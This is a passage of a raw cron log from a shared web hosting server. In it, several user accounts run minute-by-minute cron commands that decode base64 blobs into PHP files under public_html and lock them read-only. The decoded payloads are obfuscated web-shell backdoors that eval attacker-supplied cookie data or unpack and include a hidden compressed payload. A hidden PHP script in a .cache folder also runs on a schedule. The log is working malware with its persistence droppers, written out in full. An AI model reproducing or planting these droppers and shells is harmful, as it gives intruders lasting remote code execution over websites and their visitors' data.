"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:31:02 medusa CROND[2368]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:31:02 medusa CROND[2369]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:31:02 medusa CROND[2376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:31:02 medusa CROND[2375]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 00:31:02 medusa CROND[2380]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:32:01 medusa CROND[7474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:32:01 medusa CROND[7584]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:32:01 medusa CROND[7586]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:32:01 medusa CROND[7588]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:32:01 medusa CROND[7592]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:32:01 medusa CROND[7594]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:32:01 medusa CROND[7596]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:32:01 medusa CROND[7599]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:32:01 medusa CROND[7601]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:32:01 medusa CROND[7608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:32:01 medusa CROND[7610]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:32:01 medusa CROND[7611]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:32:01 medusa CROND[7609]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 00:33:01 medusa CROND[15131]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:33:01 medusa CROND[15132]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:33:01 medusa CROND[15133]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 00:33:01 medusa CROND[15134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:33:01 medusa CROND[15135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:33:01 medusa CROND[15139]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:33:01 medusa CROND[15140]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:33:01 medusa CROND[15141]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:33:01 medusa CROND[15142]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 